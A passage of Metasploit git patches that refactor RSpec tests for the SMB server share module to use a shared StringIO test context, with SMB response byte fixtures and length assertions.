res = client.read + mod.smb_cmd_nt_create_andx(msf_io, valid_request) + res = msf_io.read expect(res).to eq(valid_response) end end context "when non existent path create requests" do it "returns the number of bytes answered" do - expect(mod.smb_cmd_nt_create_andx(client, non_existent_path_request)).to eq(smb_error_length) + expect(mod.smb_cmd_nt_create_andx(msf_io, non_existent_path_request)).to eq(smb_error_length) end it "sends a SMB_STATUS_OBJECT_NAME_NOT_FOUND error response to the client" do - mod.smb_cmd_nt_create_andx(client, non_existent_path_request) - client.seek(0) - res = client.read + mod.smb_cmd_nt_create_andx(msf_io, non_existent_path_request) + res = msf_io.read expect(res).to eq(smb_error_response) end end From 692a3cb24c9a152026f212ba441eacf44a29a136 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Wed, 25 Nov 2015 10:35:29 -0600 Subject: [PATCH 1543/2172] Use Msf::StringIO on read_andx_spec --- .../server/share/command/read_andx_spec.rb | 35 +++++++------------ 1 file changed, 13 insertions(+), 22 deletions(-) diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/read_andx_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/read_andx_spec.rb index 844b3af4c2..163a29994e 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/command/read_andx_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/command/read_andx_spec.rb @@ -7,6 +7,8 @@ require 'rex/proto/smb/constants' RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do + include_context "Msf::StringIO" + subject(:mod) do mod = Msf::Exploit.new mod.extend described_class @@ -15,15 +17,6 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do mod end - let(:client_string) { '' } - let(:client) { - StringIO.new(client_string).tap do |string_io| - def string_io.put(data) - write data - end - end - } - let(:default_response_length) { 63 } let(:default_response) do "\x00\x00\x00\x3b\xff\x53\x4d\x42\x2e\x00\x00\x00\x00\x88\x01\xc8" + @@ -62,8 +55,9 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do let(:empty_response_length) { 63 } before(:each) do + msf_io.string = '' mod.instance_variable_set('@state', { - client => { + msf_io => { :multiplex_id => 0x41424344, :process_id => 0x45464748, :file_id => 0xdead, @@ -79,13 +73,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do describe "#send_read_andx_res" do it "returns the number of bytes sent" do - expect(mod.send_read_andx_res(client)).to eq(default_response_length) + expect(mod.send_read_andx_res(msf_io)).to eq(default_response_length) end it "sends a valid SMB_COM_NT_CREATE_ANDX response to the client" do - mod.send_read_andx_res(client) - client.seek(0) - res = client.read + mod.send_read_andx_res(msf_io) + res = msf_io.read expect(res).to eq(default_response) end end @@ -94,26 +87,24 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do context "when read request for valid offset" do it "returns the number of bytes answered" do - expect(mod.smb_cmd_read_andx(client, valid_request)).to eq(valid_response_length) + expect(mod.smb_cmd_read_andx(msf_io, valid_request)).to eq(valid_response_length) end it "sends a valid response with the contents to the client" do - mod.smb_cmd_read_andx(client, valid_request) - client.seek(0) - res = client.read + mod.smb_cmd_read_andx(msf_io, valid_request) + res = msf_io.read expect(res).to eq(valid_response) end end context "when read request for invalid offset" do it "returns the number of bytes answered" do - expect(mod.smb_cmd_read_andx(client, invalid_offset_request)).to eq(empty_response_length) + expect(mod.smb_cmd_read_andx(msf_io, invalid_offset_request)).to eq(empty_response_length) end it "sends an empty read response to the client" do - mod.smb_cmd_read_andx(client, invalid_offset_request) - client.seek(0) - res = client.read + mod.smb_cmd_read_andx(msf_io, invalid_offset_request) + res = msf_io.read expect(res).to eq(empty_response) end end From eeca2f4b8a11f0d26e9530e74d720bc7b17eb643 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Wed, 25 Nov 2015 10:37:45 -0600 Subject: [PATCH 1544/2172] Use Msf::StringIO on session_setup_and_spec --- .../share/command/session_setup_andx_spec.rb | 35 +++++++------------ 1 file changed, 13 insertions(+), 22 deletions(-) diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/session_setup_andx_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/session_setup_andx_spec.rb index a01e76c934..f0c152637a 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/command/session_setup_andx_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/command/session_setup_andx_spec.rb @@ -7,6 +7,8 @@ require 'rex/proto/smb/constants' RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do + include_context "Msf::StringIO" + subject(:mod) do mod = Msf::Exploit.new mod.extend described_class @@ -15,15 +17,6 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do mod end - let(:client_string) { '' } - let(:client) { - StringIO.new(client_string).tap do |string_io| - def string_io.put(data) - write data - end - end - } - let(:default_response_length) { 45 } let(:default_response) do "\x00\x00\x00\x29\xff\x53\x4d\x42\x73\x00\x00\x00\x00\x88\x01\xc8" + @@ -73,8 +66,9 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do let(:opts) { {} } before(:each) do + msf_io.string = '' mod.instance_variable_set('@state', { - client => { + msf_io => { :multiplex_id => 0x41424344, :process_id => 0x45464748, :file_id => 0xdead, @@ -91,13 +85,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do describe "#send_session_setup_andx_res" do context "when no extra command" do it "returns the number of bytes sent" do - expect(mod.send_session_setup_andx_res(client)).to eq(default_response_length) + expect(mod.send_session_setup_andx_res(msf_io)).to eq(default_response_length) end it "sends a valid SMB_COM_SESSION_SETUP_ANDX response to the client" do - mod.send_session_setup_andx_res(client) - client.seek(0) - res = client.read + mod.send_session_setup_andx_res(msf_io) + res = msf_io.read expect(res).to eq(default_response) end end @@ -109,13 +102,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do end it "returns the number of bytes sent" do - expect(mod.send_session_setup_andx_res(client, opts)).to eq(default_tree_connect_response_length) + expect(mod.send_session_setup_andx_res(msf_io, opts)).to eq(default_tree_connect_response_length) end it "sends a valid SMB_COM_SESSION_SETUP_ANDX response to the client" do - mod.send_session_setup_andx_res(client, opts) - client.seek(0) - res = client.read + mod.send_session_setup_andx_res(msf_io, opts) + res = msf_io.read expect(res).to eq(default_tree_connect_response) end end @@ -123,13 +115,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do describe "#smb_cmd_session_setup_andx" do it "returns the number of bytes answered" do - expect(mod.smb_cmd_session_setup_andx(client, valid_request)).to eq(valid_response_length) + expect(mod.smb_cmd_session_setup_andx(msf_io, valid_request)).to eq(valid_response_length) end it "sends a valid SMB_COM_SESSION_SETUP_ANDX response to the client" do - mod.smb_cmd_session_setup_andx(client, valid_request) - client.seek(0) - res = client.read + mod.smb_cmd_session_setup_andx(msf_io, valid_request) + res = msf_io.read expect(res).to eq(valid_response) end end From 6405c8102d4c8632349a4c156f063474c10b0b2f Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Wed, 25 Nov 2015 10:39:30 -0600 Subject: [PATCH 1545/2172] Use Msf::StringIO on find_first2_spec --- .../share/command/trans2/find_first2_spec.rb | 21 +++++++------------ 1 file changed, 7 insertions(+), 14 deletions(-) diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/trans2/find_first2_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/trans2/find_first2_spec.rb index 62b5d42c53..10407cf777 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/command/trans2/find_first2_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/command/trans2/find_first2_spec.rb @@ -7,6 +7,8 @@ require 'rex/proto/smb/constants' RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do + include_context "Msf::StringIO" + subject(:mod) do mod = Msf::Exploit.new mod.extend described_class @@ -15,15 +17,6 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do mod end - let(:client_string) { '' } - let(:client) { - StringIO.new(client_string).tap do |string_io| - def string_io.put(data) - write data - end - end - } - let(:valid_find_file_both_directory_info_params) do "\x16\x00\x56\x05\x07\x00\x04\x01\x00\x00\x00\x00\x5c\x00\x74\x00" + "\x65\x00\x73\x00\x74\x00\x2e\x00\x65\x00\x78\x00\x65\x00\x00\x00" @@ -31,8 +24,9 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do let(:find_file_both_directory_info_res_length) { 179 } before(:each) do + msf_io.string = '' mod.instance_variable_set('@state', { - client => { + msf_io => { :multiplex_id => 0x41424344, :process_id => 0x45464748, :file_id => 0xdead, @@ -50,13 +44,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do context "when valid SMB_FIND_FILE_BOTH_DIRECTORY_INFO parameters" do it "returns the number of bytes answered" do - expect(mod.smb_cmd_trans2_find_first2(client, valid_find_file_both_directory_info_params)).to eq(find_file_both_directory_info_res_length) + expect(mod.smb_cmd_trans2_find_first2(msf_io, valid_find_file_both_directory_info_params)).to eq(find_file_both_directory_info_res_length) end it "send TRANSACTIONS2 response with the file name found in the SMB_Data" do - mod.smb_cmd_trans2_find_first2(client, valid_find_file_both_directory_info_params) - client.seek(0) - res = client.read + mod.smb_cmd_trans2_find_first2(msf_io, valid_find_file_both_directory_info_params) + res = msf_io.read trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct trans2_res.from_s(res) From 21ea110aef5c02bf468f45b1101623fec398c266 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Wed, 25 Nov 2015 10:41:00 -0600 Subject: [PATCH 1546/2172] Use Msf::StringIO on query_file_information_spec --- .../trans2/query_file_information_spec.rb | 20 ++++++------------- 1 file changed, 6 insertions(+), 14 deletions(-) diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/trans2/query_file_information_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/trans2/query_file_information_spec.rb index dbc6515a1e..85a675a9c5 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/command/trans2/query_file_information_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/command/trans2/query_file_information_spec.rb @@ -7,6 +7,8 @@ require 'rex/proto/smb/constants' RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do + include_context "Msf::StringIO" + subject(:mod) do mod = Msf::Exploit.new mod.extend described_class @@ -15,15 +17,6 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do mod end - let(:client_string) { '' } - let(:client) { - StringIO.new(client_string).tap do |string_io| - def string_io.put(data) - write data - end - end - } - let(:valid_query_file_standard_info_params) do "\xad\xde\xed\x03" end @@ -31,7 +24,7 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do before(:each) do mod.instance_variable_set('@state', { - client => { + msf_io => { :multiplex_id => 0x41424344, :process_id => 0x45464748, :file_id => 0xdead, @@ -49,13 +42,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do context "when valid SMB_QUERY_FILE_STANDARD_INFO parameters" do it "returns the number of bytes answered" do - expect(mod.smb_cmd_trans2_query_file_information(client, valid_query_file_standard_info_params)).to eq(query_file_standard_info_res_length) + expect(mod.smb_cmd_trans2_query_file_information(msf_io, valid_query_file_standard_info_params)).to eq(query_file_standard_info_res_length) end it "send SMB_QUERY_FILE_STANDARD_INFO response with the file size" do - mod.smb_cmd_trans2_query_file_information(client, valid_query_file_standard_info_params) - client.seek(0) - res = client.read + mod.smb_cmd_trans2_query_file_information(msf_io, valid_query_file_standard_info_params) + res = msf_io.read trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct trans2_res.from_s(res) From 07ab7bac9c96f4a3d55c887aa6e92eef646dd873 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Wed, 25 Nov 2015 10:42:59 -0600 Subject: [PATCH 1547/2172] Use Msf::StringIO on query_path_information_spec --- .../trans2/query_path_information_spec.rb | 35 +++++++------------ 1 file changed, 13 insertions(+), 22 deletions(-) diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/trans2/query_path_information_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/trans2/query_path_information_spec.rb index 01165159bf..d2270e3804 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/command/trans2/query_path_information_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/command/trans2/query_path_information_spec.rb @@ -7,6 +7,8 @@ require 'rex/proto/smb/constants' RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do + include_context "Msf::StringIO" + subject(:mod) do mod = Msf::Exploit.new mod.extend described_class @@ -15,15 +17,6 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do mod end - let(:client_string) { '' } - let(:client) { - StringIO.new(client_string).tap do |string_io| - def string_io.put(data) - write data - end - end - } - let(:valid_query_path_standard_info_params) do "\xed\x03\x00\x00\x00\x00\x5c\x00\x74\x00\x65\x00\x73\x00\x74\x00" + "\x2e\x00\x65\x00\x78\x00\x65\x00\x00\x00" @@ -43,8 +36,9 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do let(:not_found_res_length) { 39 } before(:each) do + msf_io.string = '' mod.instance_variable_set('@state', { - client => { + msf_io => { :multiplex_id => 0x41424344, :process_id => 0x45464748, :file_id => 0xdead, @@ -62,13 +56,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do context "when valid SMB_QUERY_PATH_STANDARD_INFO parameters" do it "returns the number of bytes answered" do - expect(mod.smb_cmd_trans2_query_path_information(client, valid_query_path_standard_info_params)).to eq(query_path_standard_info_res_length) + expect(mod.smb_cmd_trans2_query_path_information(msf_io, valid_query_path_standard_info_params)).to eq(query_path_standard_info_res_length) end it "send SMB_QUERY_PATH_STANDARD_INFO response with the file size" do - mod.smb_cmd_trans2_query_path_information(client, valid_query_path_standard_info_params) - client.seek(0) - res = client.read + mod.smb_cmd_trans2_query_path_information(msf_io, valid_query_path_standard_info_params) + res = msf_io.read trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct trans2_res.from_s(res) @@ -85,13 +78,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do context "when valid SMB_QUERY_PATH_BASIC_INFO parameters" do it "returns the number of bytes answered" do - expect(mod.smb_cmd_trans2_query_path_information(client, valid_query_path_basic_info_params)).to eq(query_path_basic_info_res_length) + expect(mod.smb_cmd_trans2_query_path_information(msf_io, valid_query_path_basic_info_params)).to eq(query_path_basic_info_res_length) end it "send SMB_QUERY_PATH_BASIC_INFO response with the file attributes" do - mod.smb_cmd_trans2_query_path_information(client, valid_query_path_basic_info_params) - client.seek(0) - res = client.read + mod.smb_cmd_trans2_query_path_information(msf_io, valid_query_path_basic_info_params) + res = msf_io.read trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct trans2_res.from_s(res) @@ -108,13 +100,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do context "when non existent file SMB_QUERY_PATH_BASIC_INFO parameters" do it "returns the number of bytes answered" do - expect(mod.smb_cmd_trans2_query_path_information(client, non_existent_query_path_basic_info_params)).to eq(not_found_res_length) + expect(mod.smb_cmd_trans2_query_path_information(msf_io, non_existent_query_path_basic_info_params)).to eq(not_found_res_length) end it "send TRANS2 response with error" do - mod.smb_cmd_trans2_query_path_information(client, non_existent_query_path_basic_info_params) - client.seek(0) - res = client.read + mod.smb_cmd_trans2_query_path_information(msf_io, non_existent_query_path_basic_info_params) + res = msf_io.read trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct trans2_res.from_s(res) From 5600119fca144405343ef033e0d16491fe973025 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Wed, 25 Nov 2015 10:45:45 -0600 Subject: [PATCH 1548/2172] Use Msf::StringIO on trans2_spec --- .../smb/server/share/command/trans2_spec.rb | 57 +++++++------------ 1 file changed, 22 insertions(+), 35 deletions(-) diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/trans2_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/trans2_spec.rb index 556fa91924..f4164f6563 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/command/trans2_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/command/trans2_spec.rb @@ -7,6 +7,8 @@ require 'rex/proto/smb/constants' RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do + include_context "Msf::StringIO" + subject(:mod) do mod = Msf::Exploit.new mod.extend described_class @@ -15,15 +17,6 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do mod end - let(:client_string) { '' } - let(:client) { - StringIO.new(client_string).tap do |string_io| - def string_io.put(data) - write data - end - end - } - let(:unicode_path) { "\x5c\x00\x74\x00\x65\x00\x73\x00\x74\x00\x2e\x00\x65\x00\x78\x00\x65\x00\x00\x00" } let(:normalized_path) { '\\test.exe' } let(:ascii_path) { 'test.exe' } @@ -73,8 +66,9 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do let(:empty_query_res_length) { 39 } before(:each) do + msf_io.string = '' mod.instance_variable_set('@state', { - client => { + msf_io => { :multiplex_id => 0x41424344, :process_id => 0x45464748, :file_id => 0xdead, @@ -123,13 +117,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do describe "#smb_cmd_trans2" do context "when valid FIND_FIRST2 subcommand request" do it "returns the number of bytes answered" do - expect(mod.smb_cmd_trans2(client, valid_find_first2)).to eq(find_first2_res_length) + expect(mod.smb_cmd_trans2(msf_io, valid_find_first2)).to eq(find_first2_res_length) end it "sends a FIND_FIRST2 response with parameters" do - mod.smb_cmd_trans2(client, valid_find_first2) - client.seek(0) - res = client.read + mod.smb_cmd_trans2(msf_io, valid_find_first2) + res = msf_io.read trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct trans2_res.from_s(res) @@ -137,9 +130,8 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do end it "sends a FIND_FIRST2 response with data" do - mod.smb_cmd_trans2(client, valid_find_first2) - client.seek(0) - res = client.read + mod.smb_cmd_trans2(msf_io, valid_find_first2) + res = msf_io.read trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct trans2_res.from_s(res) @@ -149,13 +141,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do context "when valid QUERY_FILE_INFO subcommand request" do it "returns the number of bytes answered" do - expect(mod.smb_cmd_trans2(client, valid_query_file_info)).to eq(query_file_info_res_length) + expect(mod.smb_cmd_trans2(msf_io, valid_query_file_info)).to eq(query_file_info_res_length) end it "sends a QUERY_FILE_INFO response with parameters" do - mod.smb_cmd_trans2(client, valid_query_file_info) - client.seek(0) - res = client.read + mod.smb_cmd_trans2(msf_io, valid_query_file_info) + res = msf_io.read trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct trans2_res.from_s(res) @@ -163,9 +154,8 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do end it "sends a QUERY_FILE_INFO response with data" do - mod.smb_cmd_trans2(client, valid_query_file_info) - client.seek(0) - res = client.read + mod.smb_cmd_trans2(msf_io, valid_query_file_info) + res = msf_io.read trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct trans2_res.from_s(res) @@ -175,13 +165,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do context "when valid QUERY_PATH_INFO subcommand request" do it "returns the number of bytes answered" do - expect(mod.smb_cmd_trans2(client, valid_query_path_info)).to eq(query_path_info_res_length) + expect(mod.smb_cmd_trans2(msf_io, valid_query_path_info)).to eq(query_path_info_res_length) end it "sends a QUERY_PATH_INFO response with parameters" do - mod.smb_cmd_trans2(client, valid_query_path_info) - client.seek(0) - res = client.read + mod.smb_cmd_trans2(msf_io, valid_query_path_info) + res = msf_io.read trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct trans2_res.from_s(res) @@ -189,9 +178,8 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do end it "sends a QUERY_PATH_INFO response with data" do - mod.smb_cmd_trans2(client, valid_query_path_info) - client.seek(0) - res = client.read + mod.smb_cmd_trans2(msf_io, valid_query_path_info) + res = msf_io.read trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct trans2_res.from_s(res) @@ -201,13 +189,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do context "when empty request" do it "returns the number of bytes answered" do - expect(mod.smb_cmd_trans2(client, empty_query)).to eq(empty_query_res_length) + expect(mod.smb_cmd_trans2(msf_io, empty_query)).to eq(empty_query_res_length) end it "sends an SMB_NT_STATUS_NOT_FOUND error to the client" do - mod.smb_cmd_trans2(client, empty_query) - client.seek(0) - res = client.read + mod.smb_cmd_trans2(msf_io, empty_query) + res = msf_io.read trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct trans2_res.from_s(res) From 2dbb610d992ed2c7d88a208ebd221d73bbdbe5d5 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Wed, 25 Nov 2015 11:15:56 -0600 Subject: [PATCH 1549/2172] Use Msf::StringIO on find_spec --- .../share/information_level/find_spec.rb | 98 ++++++++----------- 1 file changed, 40 insertions(+), 58 deletions(-) diff --git a/spec/lib/msf/core/exploit/smb/server/share/information_level/find_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/information_level/find_spec.rb index 07641aa221..22a2ad9532 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/information_level/find_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/information_level/find_spec.rb @@ -7,6 +7,8 @@ require 'rex/proto/smb/constants' RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do + include_context "Msf::StringIO" + subject(:mod) do mod = Msf::Exploit.new mod.extend described_class @@ -15,15 +17,6 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do mod end - let(:client_string) { '' } - let(:client) { - StringIO.new(client_string).tap do |string_io| - def string_io.put(data) - write data - end - end - } - let(:default_find_file_both_directory_info_res_length) { 163 } let(:default_find_file_both_directory_info_res) do "\x00\x00\x00\x9f\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x88\x01\xc8" + @@ -79,8 +72,9 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do before(:each) do + msf_io.string = '' mod.instance_variable_set('@state', { - client => { + msf_io => { :multiplex_id => 0x41424344, :process_id => 0x45464748, :file_id => 0xdead, @@ -97,13 +91,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do describe "#send_find_file_both_directory_info_res" do context "when no opts" do it "returns the number of bytes sent" do - expect(mod.send_find_file_both_directory_info_res(client)).to eq(default_find_file_both_directory_info_res_length) + expect(mod.send_find_file_both_directory_info_res(msf_io)).to eq(default_find_file_both_directory_info_res_length) end it "sends a default TRANSACTION2 response" do - mod.send_find_file_both_directory_info_res(client) - client.seek(0) - res = client.read + mod.send_find_file_both_directory_info_res(msf_io) + res = msf_io.read expect(res).to eq(default_find_file_both_directory_info_res) end end @@ -112,13 +105,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do describe "#send_find_file_names_info_res" do context "when no opts" do it "returns the number of bytes sent" do - expect(mod.send_find_file_names_info_res(client)).to eq(default_find_file_names_info_res_length) + expect(mod.send_find_file_names_info_res(msf_io)).to eq(default_find_file_names_info_res_length) end it "sends a default TRANSACTION2 response" do - mod.send_find_file_names_info_res(client) - client.seek(0) - res = client.read + mod.send_find_file_names_info_res(msf_io) + res = msf_io.read expect(res).to eq(default_find_file_names_info_res) end end @@ -127,13 +119,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do describe "#send_find_full_directory_info_res" do context "when no opts" do it "returns the number of bytes sent" do - expect(mod.send_find_full_directory_info_res(client)).to eq(default_find_full_directory_info_res_length) + expect(mod.send_find_full_directory_info_res(msf_io)).to eq(default_find_full_directory_info_res_length) end it "sends a default TRANSACTION2 response" do - mod.send_find_full_directory_info_res(client) - client.seek(0) - res = client.read + mod.send_find_full_directory_info_res(msf_io) + res = msf_io.read expect(res).to eq(default_find_full_directory_info_res) end end @@ -142,13 +133,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do describe "#smb_cmd_find_file_both_directory_info" do context "when non existent path" do it "returns the number of bytes sent" do - expect(mod.smb_cmd_find_file_both_directory_info(client, non_existent_path)).to eq(error_res_length) + expect(mod.smb_cmd_find_file_both_directory_info(msf_io, non_existent_path)).to eq(error_res_length) end it "sends a TRANSACTION2 response with SMB_STATUS_NO_SUCH_FILE error to the client" do - mod.smb_cmd_find_file_both_directory_info(client, non_existent_path) - client.seek(0) - res = client.read + mod.smb_cmd_find_file_both_directory_info(msf_io, non_existent_path) + res = msf_io.read trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct trans2_res.from_s(res) @@ -159,13 +149,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do context "when existent file path" do it "returns the number of bytes sent" do - expect(mod.smb_cmd_find_file_both_directory_info(client, file_path)).to eq(existent_file_file_both_dir_res_length) + expect(mod.smb_cmd_find_file_both_directory_info(msf_io, file_path)).to eq(existent_file_file_both_dir_res_length) end it "sends a TRANSACTION2 response with the found FileName in SMB Data" do - mod.smb_cmd_find_file_both_directory_info(client, file_path) - client.seek(0) - res = client.read + mod.smb_cmd_find_file_both_directory_info(msf_io, file_path) + res = msf_io.read trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct trans2_res.from_s(res) @@ -182,13 +171,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do context "when existent folder path" do it "returns the number of bytes sent" do - expect(mod.smb_cmd_find_file_both_directory_info(client, folder_path)).to eq(existent_folder_file_both_dir_res_length) + expect(mod.smb_cmd_find_file_both_directory_info(msf_io, folder_path)).to eq(existent_folder_file_both_dir_res_length) end it "sends a TRANSACTION2 response with the found FileName in SMB Data" do - mod.smb_cmd_find_file_both_directory_info(client, folder_path) - client.seek(0) - res = client.read + mod.smb_cmd_find_file_both_directory_info(msf_io, folder_path) + res = msf_io.read trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct trans2_res.from_s(res) @@ -207,13 +195,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do describe "#smb_cmd_find_file_names_info" do context "when non existent path" do it "returns the number of bytes sent" do - expect(mod.smb_cmd_find_file_names_info(client, non_existent_path)).to eq(error_res_length) + expect(mod.smb_cmd_find_file_names_info(msf_io, non_existent_path)).to eq(error_res_length) end it "sends a TRANSACTION2 response with SMB_STATUS_NO_SUCH_FILE error to the client" do - mod.smb_cmd_find_file_names_info(client, non_existent_path) - client.seek(0) - res = client.read + mod.smb_cmd_find_file_names_info(msf_io, non_existent_path) + res = msf_io.read trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct trans2_res.from_s(res) @@ -224,13 +211,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do context "when existent file path" do it "returns the number of bytes sent" do - expect(mod.smb_cmd_find_file_names_info(client, file_path)).to eq(existent_file_file_names_res_length) + expect(mod.smb_cmd_find_file_names_info(msf_io, file_path)).to eq(existent_file_file_names_res_length) end it "sends a TRANSACTION2 response with the found FileName in SMB Data" do - mod.smb_cmd_find_file_names_info(client, file_path) - client.seek(0) - res = client.read + mod.smb_cmd_find_file_names_info(msf_io, file_path) + res = msf_io.read trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct trans2_res.from_s(res) @@ -247,13 +233,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do context "when existent folder path" do it "returns the number of bytes sent" do - expect(mod.smb_cmd_find_file_names_info(client, folder_path)).to eq(existent_folder_file_names_res_length) + expect(mod.smb_cmd_find_file_names_info(msf_io, folder_path)).to eq(existent_folder_file_names_res_length) end it "sends a TRANSACTION2 response with the found FileName in SMB Data" do - mod.smb_cmd_find_file_names_info(client, folder_path) - client.seek(0) - res = client.read + mod.smb_cmd_find_file_names_info(msf_io, folder_path) + res = msf_io.read trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct trans2_res.from_s(res) @@ -272,13 +257,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do describe "#smb_cmd_find_file_full_directory_info" do context "when non existent path" do it "returns the number of bytes sent" do - expect(mod.smb_cmd_find_file_full_directory_info(client, non_existent_path)).to eq(error_res_length) + expect(mod.smb_cmd_find_file_full_directory_info(msf_io, non_existent_path)).to eq(error_res_length) end it "sends a TRANSACTION2 response with SMB_STATUS_NO_SUCH_FILE error to the client" do - mod.smb_cmd_find_file_full_directory_info(client, non_existent_path) - client.seek(0) - res = client.read + mod.smb_cmd_find_file_full_directory_info(msf_io, non_existent_path) + res = msf_io.read trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct trans2_res.from_s(res) @@ -289,13 +273,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do context "when existent file path" do it "returns the number of bytes sent" do - expect(mod.smb_cmd_find_file_full_directory_info(client, file_path)).to eq(existent_file_file_full_res_length) + expect(mod.smb_cmd_find_file_full_directory_info(msf_io, file_path)).to eq(existent_file_file_full_res_length) end it "sends a TRANSACTION2 response with the found FileName in SMB Data" do - mod.smb_cmd_find_file_full_directory_info(client, file_path) - client.seek(0) - res = client.read + mod.smb_cmd_find_file_full_directory_info(msf_io, file_path) + res = msf_io.read trans2_res = 